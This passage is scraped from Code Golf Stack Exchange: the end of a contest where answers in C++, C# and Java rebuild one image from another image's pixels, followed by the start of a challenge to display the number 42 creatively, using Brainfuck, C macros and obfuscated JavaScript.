bits_src[y*width_src * 3 + x * 3 + 1]; p.r = bits_src[y*width_src * 3 + x * 3 + 2]; //calculate color value using a weighted brightness for each channel //p.val = 0.2126f * p.r + 0.7152f * p.g + 0.0722f * p.b; //from http://www.poynton.com/notes/colour_and_gamma/ColorFAQ.html p.val = 0.5f * p.r + p.g + 0.1f * p.b; src_pixels.push_back(p); } } //sort by color value std::sort(src_pixels.begin(), src_pixels.end(), sortByColorVal); //make a vector of all palette pixels we can use std::vector<pixel> pal_pixels; for (unsigned int y = 0; y < height_pal; ++y) { for (unsigned int x = 0; x < width_pal; ++x) { pixel p; p.b = bits_pal[y*width_pal * 3 + x * 3]; p.g = bits_pal[y*width_pal * 3 + x * 3 + 1]; p.r = bits_pal[y*width_pal * 3 + x * 3 + 2]; p.val = 0.5f * p.r + p.g + 0.1f * p.b; pal_pixels.push_back(p); } } //sort by color value std::sort(pal_pixels.begin(), pal_pixels.end(), sortByColorVal); //for each src pixel, match it with same index palette pixel and copy to destination for (unsigned int i = 0; i < width_src * height_src; ++i) { bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3] = pal_pixels[i].b; bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3 + 1] = pal_pixels[i].g; bits_dst[src_pixels[i].y * width_src * 3 + src_pixels[i].x * 3 + 2] = pal_pixels[i].r; } // Save the destination image bool bSuccess = GenericWriter(dst, argv[3], 0); if (!bSuccess) { std::cout << "ERROR: unable to save " << argv[3] << std::endl; std::cout << "This format does not support 24-bit images" << std::endl; result = EXIT_FAILURE; } else result = EXIT_SUCCESS; FreeImage_Unload(dst); } // Free pal FreeImage_Unload(pal); } // Free src FreeImage_Unload(src); } #ifdef FREEIMAGE_LIB FreeImage_DeInitialise(); #endif if (result == EXIT_SUCCESS) std::cout << "SUCCESS!" << std::endl; else std::cout << "FAILURE!" << std::endl; return result; } ``` ## Results ![American Gothic using Mona Lisa palette](https://i.stack.imgur.com/eOjo7.png) American Gothic using Mona Lisa palette ![American Gothic using Rainbow palette](https://i.stack.imgur.com/oFNVW.png) American Gothic using Rainbow palette ![Mona Lisa using Scream palette](https://i.stack.imgur.com/zgTxF.png) Mona Lisa using Scream palette ![Mona Lisa using Rainbow palette](https://i.stack.imgur.com/rkV3k.png) Mona Lisa using Rainbow palette ![Scream using Starry Night palette](https://i.stack.imgur.com/bmvVq.png) Scream using Starry Night palette [Answer] **C#** The points are ordered in random walking, starting from the center. always get the closest color in the palette image. So the last pixels are somewhat very bad. **Results** *Gothic Palette* ![enter image description here](https://i.stack.imgur.com/QLyZF.png) ![enter image description here](https://i.stack.imgur.com/0Gqgt.png) And the [american couple visitors from wikipedia](http://en.wikipedia.org/wiki/American_Gothic) ![enter image description here](https://i.stack.imgur.com/8ABWz.png) *Mona Palette* ![enter image description here](https://i.stack.imgur.com/Bwjh3.png) ![enter image description here](https://i.stack.imgur.com/LOxoL.png) ![enter image description here](https://i.stack.imgur.com/VOyHh.png) **Code:** I don't know why but code is pretty slow... ``` public class PixelExchanger { public class ProgressInfo { public readonly Pixel NewPixel; public readonly int Percentage; public ProgressInfo(Pixel newPixel, int percentage) { this.NewPixel = newPixel; this.Percentage = percentage; } } public class Pixel { public readonly int X; public readonly int Y; public readonly Color Color; public Pixel(int x, int y, Color color) { this.X = x; this.Y = y; this.Color = color; } } private static Random r = new Random(0); private readonly Bitmap Pallete; private readonly Bitmap Image; private readonly int Width; private readonly int Height; private readonly Action<ProgressInfo> ProgressCallback; private System.Drawing.Image image1; private System.Drawing.Image image2; private int Area { get { return Width * Height; } } public PixelExchanger(Bitmap pallete, Bitmap image, Action<ProgressInfo> progressCallback = null) { this.Pallete = pallete; this.Image = image; this.ProgressCallback = progressCallback; Width = image.Width; Height = image.Height; if (Area != pallete.Width * pallete.Height) throw new ArgumentException("Image and Pallete have different areas!"); } public Bitmap DoWork() { var array = GetColorArray(); var map = GetColorMap(Image); var newMap = Go(array, map); var bm = new Bitmap(map.Length, map[0].Length); for (int i = 0; i < Width; i++) { for (int j = 0; j < Height; j++) { bm.SetPixel(i, j, newMap[i][j]); } } return bm; } public Color[][] Go(List<Color> array, Color[][] map) { var centralPoint = new Point(Width / 2, Height / 2); var q = OrderRandomWalking(centralPoint).ToArray(); Color[][] newMap = new Color[map.Length][]; for (int i = 0; i < map.Length; i++) { newMap[i] = new Color[map[i].Length]; } double pointsDone = 0; foreach (var p in q) { newMap[p.X][p.Y] = Closest(array, map[p.X][p.Y]); pointsDone++; if (ProgressCallback != null) { var percent = 100 * (pointsDone / (double)Area); var progressInfo = new ProgressInfo(new Pixel(p.X, p.Y, newMap[p.X][p.Y]), (int)percent); ProgressCallback(progressInfo); } } return newMap; } private int[][] GetCardinals() { int[] nn = new int[] { -1, +0 }; // int[] ne = new int[] { -1, +1 }; int[] ee = new int[] { +0, +1 }; // int[] se = new int[] { +1, +1 }; int[] ss = new int[] { +1, +0 }; // int[] sw = new int[] { +1, -1 }; int[] ww = new int[] { +0, -1 }; // int[] nw = new int[] { -1, -1 }; var dirs = new List<int[]>(); dirs.Add(nn); // dirs.Add(ne); dirs.Add(ee); // dirs.Add(se); dirs.Add(ss); // dirs.Add(sw); dirs.Add(ww); // dirs.Add(nw); return dirs.ToArray(); } private Color Closest(List<Color> array, Color c) { int closestIndex = -1; int bestD = int.MaxValue; int[] ds = new int[array.Count]; Parallel.For(0, array.Count, (i, state) => { ds[i] = Distance(array[i], c); if (ds[i] <= 50) { closestIndex = i; state.Break(); } else if (bestD > ds[i]) { bestD = ds[i]; closestIndex = i; } }); var closestColor = array[closestIndex]; array.RemoveAt(closestIndex); return closestColor; } private int Distance(Color c1, Color c2) { var r = Math.Abs(c1.R - c2.R); var g = Math.Abs(c1.G - c2.G); var b = Math.Abs(c1.B - c2.B); var s = Math.Abs(c1.GetSaturation() - c1.GetSaturation()); return (int)s + r + g + b; } private HashSet<Point> OrderRandomWalking(Point p) { var points = new HashSet<Point>(); var dirs = GetCardinals(); var dir = new int[] { 0, 0 }; while (points.Count < Width * Height) { bool inWidthBound = p.X + dir[0] < Width && p.X + dir[0] >= 0; bool inHeightBound = p.Y + dir[1] < Height && p.Y + dir[1] >= 0; if (inWidthBound && inHeightBound) { p.X += dir[0]; p.Y += dir[1]; points.Add(p); } dir = dirs.Random(r); } return points; } private static Color[][] GetColorMap(Bitmap b1) { int hight = b1.Height; int width = b1.Width; Color[][] colorMatrix = new Color[width][]; for (int i = 0; i < width; i++) { colorMatrix[i] = new Color[hight]; for (int j = 0; j < hight; j++) { colorMatrix[i][j] = b1.GetPixel(i, j); } } return colorMatrix; } private List<Color> GetColorArray() { var map = GetColorMap(Pallete); List<Color> colors = new List<Color>(); foreach (var line in map) { colors.AddRange(line); } return colors; } } ``` [Answer] # C# Compares colors by how far away they are. Starts from the center. **EDIT: Updated, now should be about 1.5x faster.** American Gothic ![enter image description here](https://i.stack.imgur.com/V9yrz.png) The Scream ![enter image description here](https://i.stack.imgur.com/cMqnm.png) Starry Night ![enter image description here](https://i.stack.imgur.com/LStIZ.png) Marbles ![enter image description here](https://i.stack.imgur.com/g1BCz.png) River ![enter image description here](https://i.stack.imgur.com/uy0Ii.png) Also, here's the yellow Chevy: ![enter image description here](https://i.stack.imgur.com/XKbef.png) ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Drawing; using System.Threading.Tasks; using System.Diagnostics; namespace ConsoleApplication1 { class Pixel { public int X = 0; public int Y = 0; public Color Color = new Color(); public Pixel(int x, int y, Color clr) { Color = clr; X = x; Y = y; } public Pixel() { } } class Vector2 { public int X = 0; public int Y = 0; public Vector2(int x, int y) { X = x; Y = y; } public Vector2() { } public double Diagonal() { return Math.Sqrt((X * X) + (Y * Y)); } } class ColorCollection { Dictionary<Color, int> dict = new Dictionary<Color, int>(); public ColorCollection() { } public void AddColor(Color color) { if (dict.ContainsKey(color)) { dict[color]++; return; } dict.Add(color, 1); } public void UseColor(Color color) { if (dict.ContainsKey(color)) dict[color]--; if (dict[color] < 1) dict.Remove(color); } public Color FindBestColor(Color color) { Color ret = dict.First().Key; int p = this.CalculateDifference(ret, color); foreach (KeyValuePair<Color, int> pair in dict) { int points = CalculateDifference(pair.Key, color); if (points < p) { ret = pair.Key; p = points; } } this.UseColor(ret); return ret; } int CalculateDifference(Color c1, Color c2) { int ret = 0; ret = ret + Math.Abs(c1.R - c2.R); ret = ret + Math.Abs(c1.G - c2.G); ret = ret + Math.Abs(c1.B - c2.B); return ret; } } class Program { static void Main(string[] args) { string img1 = ""; string img2 = ""; if (args.Length != 2) { Console.Write("Where is the first picture located? "); img1 = Console.ReadLine(); Console.Write("Where is the second picture located? "); img2 = Console.ReadLine(); } else { img1 = args[0]; img2 = args[1]; } Bitmap bmp1 = new Bitmap(img1); Bitmap bmp2 = new Bitmap(img2); Console.WriteLine("Getting colors...."); ColorCollection colors = GetColors(bmp1); Console.WriteLine("Getting pixels...."); List<Pixel> pixels = GetPixels(bmp2); int centerX = bmp2.Width / 2; int centerY = bmp2.Height / 2; pixels.Sort((p1, p2) => { Vector2 p1_v = new Vector2(Math.Abs(p1.X - centerX), Math.Abs(p1.Y - centerY)); Vector2 p2_v = new Vector2(Math.Abs(p2.X - centerX), Math.Abs(p2.Y - centerY)); double d1 = p1_v.Diagonal(); double d2 = p2_v.Diagonal(); if (d1 > d2) return 1; else if (d1 == d2) return 0; return -1; }); Console.WriteLine("Calculating..."); int k = 0; Stopwatch sw = Stopwatch.StartNew(); for (int i = 0; i < pixels.Count; i++) { if (i % 100 == 0 && i != 0) { float percentage = ((float)i / (float)pixels.Count) * 100; Console.WriteLine(percentage.ToString("0.00") + "% completed(" + i + "/" + pixels.Count + ")"); Console.SetCursorPosition(0, Console.CursorTop - 1); } Color set = colors.FindBestColor(pixels[i].Color); pixels[i].Color = set; k++; } sw.Stop(); Console.WriteLine("Saving..."); Bitmap result = WritePixelsToBitmap(pixels, bmp2.Width, bmp2.Height); result.Save(img1 + ".png"); Console.WriteLine("Completed in " + sw.Elapsed.TotalSeconds + " seconds. Press a key to exit."); Console.ReadKey(); } static Bitmap WritePixelsToBitmap(List<Pixel> pixels, int width, int height) { Bitmap bmp = new Bitmap(width, height); foreach (Pixel pixel in pixels) { bmp.SetPixel(pixel.X, pixel.Y, pixel.Color); } return bmp; } static ColorCollection GetColors(Bitmap bmp) { ColorCollection ret = new ColorCollection(); for (int x = 0; x < bmp.Width; x++) { for (int y = 0; y < bmp.Height; y++) { Color clr = bmp.GetPixel(x, y); ret.AddColor(clr); } } return ret; } static List<Pixel> GetPixels(Bitmap bmp) { List<Pixel> ret = new List<Pixel>(); for (int x = 0; x < bmp.Width; x++) { for (int y = 0; y < bmp.Height; y++) { Color clr = bmp.GetPixel(x, y); ret.Add(new Pixel(x, y, clr)); } } return ret; } } } ``` [Answer] I decided to try using a very similar algorithm as my other answer, but only swapping 2x2 blocks of pixels instead of individual pixels. Unfortunaely, this algorithm adds an additional constraint of requiring the image dimensions to be divisible by 2, which makes the raytraced spheres unusable unless I change the sizes. I really like some of the results! American Gothic with river palette: ![enter image description here](https://i.stack.imgur.com/OGjt0.png) Mona Lisa with American Gothic palette: ![enter image description here](https://i.stack.imgur.com/aiihk.png) Mona Lisa with river palette: ![enter image description here](https://i.stack.imgur.com/sZ79z.png) ## I tried 4x4 also, and here are my favorites! Starry Night with the Scream palette: ![enter image description here](https://i.stack.imgur.com/UtZK0.png) Mona Lisa with American Gothic palette: ![enter image description here](https://i.stack.imgur.com/2ajcx.png) The Scream with the Mona Lisa palette: ![enter image description here](https://i.stack.imgur.com/Jqyev.png) American Gothic with the Mona Lisa palette: ![enter image description here](https://i.stack.imgur.com/xocJ5.png) [Answer] # C# This is really really really slow, but it does a great job, especially when using the raytraced spheres palette. ![enter image description here](https://i.stack.imgur.com/wJBgB.png) ![enter image description here](https://i.stack.imgur.com/pJhGo.png) ![enter image description here](https://i.stack.imgur.com/1GRqI.png) ![enter image description here](https://i.stack.imgur.com/g0GJg.png) ![enter image description here](https://i.stack.imgur.com/Knqg1.png) The Scream palette: ![enter image description here](https://i.stack.imgur.com/TNLtb.png) ![enter image description here](https://i.stack.imgur.com/oNBHw.png) Mona Lisa palette: ![enter image description here](https://i.stack.imgur.com/8U4Rf.png) ![enter image description here](https://i.stack.imgur.com/7xgtm.png) ![enter image description here](https://i.stack.imgur.com/l5b6V.png) ![enter image description here](https://i.stack.imgur.com/c29SK.png) American Gothic palette: ![enter image description here](https://i.stack.imgur.com/A8sPo.png) ![enter image description here](https://i.stack.imgur.com/21dvL.png) River palette: ![enter image description here](https://i.stack.imgur.com/ObvC9.png) ![enter image description here](https://i.stack.imgur.com/lCLDl.png) ![enter image description here](https://i.stack.imgur.com/j50y6.png) The Starry Night palette: ![enter image description here](https://i.stack.imgur.com/Q2DFY.png) ![enter image description here](https://i.stack.imgur.com/LqkHX.png) ``` class Program { class Pixel { public int x; public int y; public Color color; public Pixel(int x, int y, Color color) { this.x = x; this.y = y; this.color = color; } } static Pixel BaselineColor = new Pixel(0, 0, Color.FromArgb(0, 0, 0, 0)); static void Main(string[] args) { string sourceDirectory = "pic" + args[0] + ".png"; string paletteDirectory = "pic" + args[1] + ".png"; using (Bitmap source = Bitmap.FromFile(sourceDirectory) as Bitmap) { List<Pixel> sourcePixels = GetPixels(source).ToList(); LinkedList<Pixel> palettePixels; using (Bitmap palette = Bitmap.FromFile(paletteDirectory) as Bitmap) { palettePixels = GetPixels(palette) as LinkedList<Pixel>; } if (palettePixels.Count != sourcePixels.Count) { throw new Exception("OH NO!!!!!!!!"); } sourcePixels.Sort((x, y) => GetDiff(y, BaselineColor) - GetDiff(x, BaselineColor)); LinkedList<Pixel> newPixels = new LinkedList<Pixel>(); foreach (Pixel p in sourcePixels) { Pixel newPixel = GetClosestColor(palettePixels, p); newPixels.AddLast(newPixel); } foreach (var p in newPixels) { source.SetPixel(p.x, p.y, p.color); } source.Save("Out" + args[0] + "to" + args[1] + ".png"); } } private static IEnumerable<Pixel> GetPixels(Bitmap source) { List<Pixel> newList = new List<Pixel>(); for (int x = 0; x < source.Width; x++) { for (int y = 0; y < source.Height; y++) { newList.Add(new Pixel(x, y, source.GetPixel(x, y))); } } return newList; } private static Pixel GetClosestColor(LinkedList<Pixel> palettePixels, Pixel p) { Pixel minPixel = palettePixels.First(); int diff = GetDiff(minPixel, p); foreach (var pix in palettePixels) { int current = GetDiff(pix, p); if (current < diff) { diff = current; minPixel = pix; if (diff == 0) { return minPixel; } } } palettePixels.Remove(minPixel); return new Pixel(p.x, p.y, minPixel.color); } private static int GetDiff(Pixel a, Pixel p) { return GetProx(a.color, p.color); } private static int GetProx(Color a, Color p) { int red = (a.R - p.R) * (a.R - p.R); int green = (a.G - p.G) * (a.G - p.G); int blue = (a.B - p.B) * (a.B - p.B); return red + blue + green; } } ``` [Answer] # Java - Another Mapping Approach **Edit 1:** After that was shared in a "maths" environment on G+, we all seem to use matching approaches with various ways to circumvent complexity. **Edit 2:** I messed up the images in my google drive and restarted, so the old links do not work any more. Sorry, I am still working on more reputation for more links. **Edit 3:** Reading the other posts I got some inspirations. I got the programm faster now and reinvested some CPU time, to do some changes depending on target image location. **Edit 4:** New program version. Faster! Special treatment of both areas with sharp corners and very smooth changes (helps a lot with the ray tracing, but gives the Mona Lisa occasional red eyes)! Ability to generate intermediate frames from animations! I really loved the idea and Quincunx solution kind of intrigued me. So I thought I might well be able add my 2 Euro cent. Idea was, that we obviously need a (somehow close) mapping between two colour palettes. With this idea I spent the *first night* trying to tweek a **stable marriage algorithm** to run fast and with the memory of my PC on 123520 candidates. While I got into the memory range, I found the runtime problem unsolvable. *Second night* I decided to just further and dive into the **Hungarian Algorithm** which promised to provide even approximation properties, i.e. minimum distance between colors in either image. Fortunately I found 3 ready to plug Java implementations of this (not counting many semi finished student assignments which start to make it really hard to google for elementary algorithms). But as one might have expected, Hungarian Algorithms are even worse in terms of running time and memory usage. Even worse, all 3 implementations I tested, returned occasional wrong results. I shiver when I think of other programms, which might be based on these. *Third approach (end of second night)* was easy, quick, fast and after all not that bad: Sort colours in both images by luminosity and simple map by ranking, i.e. darkest to darkest, second darkest to second darkest. This immediately creates sharp looking black and white reconstruction with some random colour sprayed around. \*Approach 4 and final so far (morning of second night) starts with the above luminosity mapping and adds local corrections to it by applying Hungarian algorithms to various overlapping sequences of pixels. This way I got better mapping and worked around both the complexity of the problem and the bugs in the implementations. So here is some Java code, some parts might look similar to other Java code posted here. The hungarian used is a patched version of John Millers originally in the ontologySimilariy project. This was way fastest I found and showed the fewest bugs. ``` import java.awt.image.BufferedImage; import java.io.File; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.Set; import java.util.HashSet; import java.util.Map; import java.util.HashMap; import java.util.List; import javax.imageio.ImageIO; /** * */ public class PixelRearranger { private final String mode; public PixelRearranger(String mode) { this.mode = mode; } public final static class Pixel { final BufferedImage img; final int val; final int r, g, b; final int x, y; public Pixel(BufferedImage img, int x, int y) { this.x = x; this.y = y; this.img = img; if ( img != null ) { val = img.getRGB(x,y); r = ((val & 0xFF0000) >> 16); g = ((val & 0x00FF00) >> 8); b = ((val & 0x0000FF)); } else { val = r = g = b = 0; } } @Override public int hashCode() { return x + img.getWidth() * y + img.hashCode(); } @Override public boolean equals(Object o) { if ( !(o instanceof Pixel) ) return false; Pixel p2 = (Pixel) o; return p2.x == x && p2.y == y && p2.img == img; } public double cd() { double x0 = 0.5 * (img.getWidth()-1); double y0 = 0.5 * (img.getHeight()-1); return Math.sqrt(Math.sqrt((x-x0)*(x-x0)/x0 + (y-y0)*(y-y0)/y0)); } @Override public String toString() { return "P["+r+","+g+","+b+";"+x+":"+y+";"+img.getWidth()+":"+img.getHeight()+"]"; } } public final static class Pair implements Comparable<Pair> { public Pixel palette, from; public double d; public Pair(Pixel palette, Pixel from) { this.palette = palette; this.from = from; this.d = distance(palette, from); } @Override public int compareTo(Pair e2) { return sgn(e2.d - d); } @Override public String toString() { return "E["+palette+from+";"+d+"]"; } } public static int sgn(double d) { return d > 0.0 ? +1 : d < 0.0 ? -1 : 0; } public final static int distance(Pixel p, Pixel q) { return 3*(p.r-q.r)*(p.r-q.r) + 6*(p.g-q.g)*(p.g-q.g) + (p.b-q.b)*(p.b-q.b); } public final static Comparator<Pixel> LUMOSITY_COMP = (p1,p2) -> 3*(p1.r-p2.r)+6*(p1.g-p2.g)+(p1.b-p2.b); public final static class ArrangementResult { private List<Pair> pairs; public ArrangementResult(List<Pair> pairs) { this.pairs = pairs; } /** Provide the output image */ public BufferedImage finalImage() { BufferedImage target = pairs.get(0).from.img; BufferedImage res = new BufferedImage(target.getWidth(), target.getHeight(), BufferedImage.TYPE_INT_RGB); for(Pair p : pairs) { Pixel left = p.from; Pixel right = p.palette; res.setRGB(left.x, left.y, right.val); } return res; } /** Provide an interpolated image. 0 le;= alpha le;= 1 */ public BufferedImage interpolateImage(double alpha) { BufferedImage target = pairs.get(0).from.img; int wt = target.getWidth(), ht = target.getHeight(); BufferedImage palette = pairs.get(0).palette.img; int wp = palette.getWidth(), hp = palette.getHeight(); int w = Math.max(wt, wp), h = Math.max(ht, hp); BufferedImage res = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB); int x0t = (w-wt)/2, y0t = (h-ht)/2; int x0p = (w-wp)/2, y0p = (h-hp)/2; double a0 = (3.0 - 2.0*alpha)*alpha*alpha; double a1 = 1.0 - a0; for(Pair p : pairs) { Pixel left = p.from; Pixel right = p.palette; int x = (int) (a1 * (right.x + x0p) + a0 * (left.x + x0t)); int y = (int) (a1 * (right.y + y0p) + a0 * (left.y + y0t)); if ( x < 0 || x >= w ) System.out.println("x="+x+", w="+w+", alpha="+alpha); if ( y < 0 || y >= h ) System.out.println("y="+y+", h="+h+", alpha="+alpha); res.setRGB(x, y, right.val); } return res; } } public ArrangementResult rearrange(BufferedImage target, BufferedImage palette) { List<Pixel> targetPixels = getColors(target); int n = targetPixels.size(); System.out.println("total Pixels "+n); Collections.sort(targetPixels, LUMOSITY_COMP); final double[][] energy = energy(target); List<Pixel> palettePixels = getColors(palette); Collections.sort(palettePixels, LUMOSITY_COMP); ArrayList<Pair> pairs = new ArrayList<>(n); for(int i = 0; i < n; i++) { Pixel pal = palettePixels.get(i); Pixel to = targetPixels.get(i); pairs.add(new Pair(pal, to)); } correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.b - p1.d*p1.from.b)); correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.r - p1.d*p1.from.r)); // generates visible circular artifacts: correct(pairs, (p1,p2) -> sgn(p2.d*p2.from.cd() - p1.d*p1.from.cd())); correct(pairs, (p1,p2) -> sgn(energy[p2.from.x][p2.from.y]*p2.d - energy[p1.from.x][p1.from.y]*p1.d)); correct(pairs, (p1,p2) -> sgn(p2.d/(1+energy[p2.from.x][p2.from.y]) - p1.d/(1+energy[p1.from.x][p1.from.y]))); // correct(pairs, null); return new ArrangementResult(pairs); } /** * derive an energy map, to detect areas of lots of change. */ public double[][] energy(BufferedImage img) { int n = img.getWidth(); int m = img.getHeight(); double[][] res = new double[n][m]; for(int x = 0; x < n; x++) { for(int y = 0; y < m; y++) { int rgb0 = img.getRGB(x,y); int count = 0, sum = 0; if ( x > 0 ) { count++; sum += dist(rgb0, img.getRGB(x-1,y)); if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x-1,y-1)); } if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x-1,y+1)); } } if ( x < n-1 ) { count++; sum += dist(rgb0, img.getRGB(x+1,y)); if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x+1,y-1)); } if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x+1,y+1)); } } if ( y > 0 ) { count++; sum += dist(rgb0, img.getRGB(x,y-1)); } if ( y < m-1 ) { count++; sum += dist(rgb0, img.getRGB(x,y+1)); } res[x][y] = Math.sqrt((double)sum/count); } } return res; } public int dist(int rgb0, int rgb1) { int r0 = ((rgb0 & 0xFF0000) >> 16); int g0 = ((rgb0 & 0x00FF00) >> 8); int b0 = ((rgb0 & 0x0000FF)); int r1 = ((rgb1 & 0xFF0000) >> 16); int g1 = ((rgb1 & 0x00FF00) >> 8); int b1 = ((rgb1 & 0x0000FF)); return 3*(r0-r1)*(r0-r1) + 6*(g0-g1)*(g0-g1) + (b0-b1)*(b0-b1); } private void correct(ArrayList<Pair> pairs, Comparator<Pair> comp) { Collections.sort(pairs, comp); int n = pairs.size(); int limit = Math.min(n, 133); // n / 1000; int limit2 = Math.max(1, n / 3 - limit); int step = (2*limit + 2)/3; for(int base = 0; base < limit2; base += step ) { List<Pixel> list1 = new ArrayList<>(); List<Pixel> list2 = new ArrayList<>(); for(int i = base; i < base+limit; i++) { list1.add(pairs.get(i).from); list2.add(pairs.get(i).palette); } Map<Pixel, Pixel> connection = rematch(list1, list2); int i = base; for(Pixel p : connection.keySet()) { pairs.set(i++, new Pair(p, connection.get(p))); } } } /** * Glue code to do an hungarian algorithm distance optimization. */ public Map<Pixel,Pixel> rematch(List<Pixel> liste1, List<Pixel> liste2) { int n = liste1.size(); double[][] cost = new double[n][n]; Set<Pixel> s1 = new HashSet<>(n); Set<Pixel> s2 = new HashSet<>(n); for(int i = 0; i < n; i++) { Pixel ii = liste1.get(i); for(int j = 0; j < n; j++) { Pixel ij = liste2.get(j); cost[i][j] = -distance(ii,ij); } } Map<Pixel,Pixel> res = new HashMap<>(); int[] resArray = Hungarian.hungarian(cost); for(int i = 0; i < resArray.length; i++) { Pixel ii = liste1.get(i); Pixel ij = liste2.get(resArray[i]); res.put(ij, ii); } return res; } public static List<Pixel> getColors(BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); List<Pixel> colors = new ArrayList<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { colors.add(new Pixel(img, x, y)); } } return colors; } public static List<Integer> getSortedTrueColors(BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); List<Integer> colors = new ArrayList<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { colors.add(img.getRGB(x, y)); } } Collections.sort(colors); return colors; } public static void main(String[] args) throws Exception { int i = 0; String mode = args[i++]; PixelRearranger pr = new PixelRearranger(mode); String a1 = args[i++]; File in1 = new File(a1); String a2 = args[i++]; File in2 = new File(a2); File out = new File(args[i++]); // BufferedImage target = ImageIO.read(in1); BufferedImage palette = ImageIO.read(in2); long t0 = System.currentTimeMillis(); ArrangementResult result = pr.rearrange(target, palette); BufferedImage resultImg = result.finalImage(); long t1 = System.currentTimeMillis(); System.out.println("took "+0.001*(t1-t0)+" s"); ImageIO.write(resultImg, "png", out); // Check validity List<Integer> paletteColors = getSortedTrueColors(palette); List<Integer> resultColors = getSortedTrueColors(resultImg); System.out.println("validate="+paletteColors.equals(resultColors)); // In Mode A we do some animation! if ( "A".equals(mode) ) { for(int j = 0; j <= 50; j++) { BufferedImage stepImg = result.interpolateImage(0.02 * j); File oa = new File(String.format("anim/%s-%s-%02d.png", a1, a2, j)); ImageIO.write(stepImg, "png", oa); } } } } ``` Current running time is 20 to 30 seconds per above image pair, but there are plenty of tweaks to make it either go faster or maybe get a bit more quality out of it. Seems like my newbie reputations does not suffice for such many links/images, so here is a textual shortcut to my Google drives folder for image samples: <http://goo.gl/qZHTao> The samples I wanted to show first: [People -> Mona Lisa http://goo.gl/mGvq9h](http://goo.gl/mGvq9h) The programm keeps track of all the point coordinates, but I feel exhausted now and do not plan to do animations for now. If I was to spend more time I might do a Hungarian algorithm myself or tweek the local optimization schedule of my programm. ]
[Question] [ **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. [Douglas Adams](https://en.wikipedia.org/wiki/Douglas_Adams) was born on March 11, 1952, and died when he was just 49. In honor of this wonderful writer, I challenge you to display [42](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#The_number_42) in the most creative way possible. You could print it in the log, via some convoluted method, or display it as ASCII art, or anything! Just come up with a creative method of displaying 42. Because this a popularity-contest, whichever answer has the most upvotes by March 11, will be declared the winner. **Note:** this is not a duplicate. The question it was marked as duplicating was a code-trolling question whose goal was to write code to output 42, not find the most creative way to *display* it. ## **Winner:** grovesNL! With an astounding 813 votes! Congrats! ## Honorable Mentions: [Mr Lister](https://codegolf.stackexchange.com/a/21887/16874) **C** 228 For the clever use of #define [David Carraher](https://codegolf.stackexchange.com/a/21911/16874) **Mathematica** 45 For the complicated and convoluted math function to achieve 42 [Aschratt](https://codegolf.stackexchange.com/a/22081/16874) **Windows Calculator** 20 Because, well, *it's windows calculator* And definitely 1337. [f.rodrigues](https://codegolf.stackexchange.com/a/22254/16874) **Python** 17 Because of the clever use of using external programs. And *MSPaint* [Jason C](https://codegolf.stackexchange.com/a/21944/16874) **LMGTFY** 14 For the use of LMGTFY (Let Me Google That For You) [Trimsty](https://codegolf.stackexchange.com/a/22417/16874) **Python** 12 For the clever use of an error message to output 42. [Mukul Kumar](https://codegolf.stackexchange.com/a/21895/16874) **C++** 7 For the nice ASCII output. If you think that there is another answer worth putting on the list, please comment it! [Answer] # Double Brainfuck ``` +++++[>++[>+>+ ++>++++>++++>++++>++++++ >++++++>+++++++ ++>+++++++++<<<<<<<<<-]>> >+>+>+> >>>+[<]< -]>> >++>-->>+>>++>+ >--<<<< <<<..... .> ....<...... ...>... <<.>.... >.>>>>>.<. <<<<.. ..<.... >..>>>>>.< .<<<<. >>>.<<. >>>>>.<.< <<<<< <.>...> >>>.>>>. <<<.< <<<..>> .>>>>>.< <.<<< <<...>> >>>.<<< <..<. ...>... <<.>..>. >>.<.<<...>>...<<...>>...< <....>>.. .<<<.>.>>..>.<<.......<.... .....>... <<.>... .....>... <...... .>>>.<<.. <<.>... .....>...<......>.>>.<.<<< .>...... ..>>...<<....>>.....>.<..>. ``` which outputs... ``` ++++ +++ +[>++++ ++[>+<-][ <]< -]> >++ +++ +.- --- --- --- --.+++++++ +++ +++ .++ +++ +.- --- -----.--. ``` which outputs... ``` 6*7=42 ``` [Answer] # C Here's an oldie but goodie... ``` #include <stdio.h> #define six 1+5 #define nine 8+1 int main() { printf("what do you get when you multiply six by nine?\n"); printf("%i x %i = %i\n", six, nine, six*nine); } ``` This program contains 42 different ASCII characters. [Answer] ## Brainfuck Took a while to get there, but I like the result: ``` +++++ +++[>+>++> +++>++ ++>+++++>+++++ +>+++++ ++>+ ++++ +++ >+++ ++++ ++>+ +++ ++++ ++>+ +++ ++++ +++> +++ ++++ ++++ +>+ ++++ ++++ +++ +>++ ++++ ++++++++>+++++++++ ++++ ++>+++++++++++++++ +<<< <<<< <<<< <<<< <-]> >>>> >>----.++++<<<<< <<>> >>>>++.--<<<<<<. ``` When run, it will print 42, of course. [Answer] # JavaScript: ``` var ________ = 0.023809523809523808, ____ = 1, ___ = 0, __ = 0, _ = 1; __ - ___ /_ |0 // \\ /_/ 0 // \\ /_/_ |0 // /_/_ |0 // /_/____ |_ // /________|0 // |0 //______________ ``` The output is: > > **42** > > > *Not bad, eh?* :) ***For the people who don't understand, it actually evaluates the following:*** > > > ``` > __ - ___ / _ | 0 / _ / 0 / _ / _ | 0 / _ / _ | 0 / _ / ____ | _ / ________ | 0 | 0 > ``` > > > > [Answer] # C, Twelve Days of Xmas Style New version: ``` main(Z,_){Z?(_=Z[" $X,X3Y<X@Z@[<XHZHX," "` \\(Z(X0Z0Z8[@X@^8ZHZHX(Z(`#Y(Z(X3[8" "\\@_8ZHXHXHX(Z(` \\(Z(X0Z0Z8\\@_8ZIXI" "X(Z(` 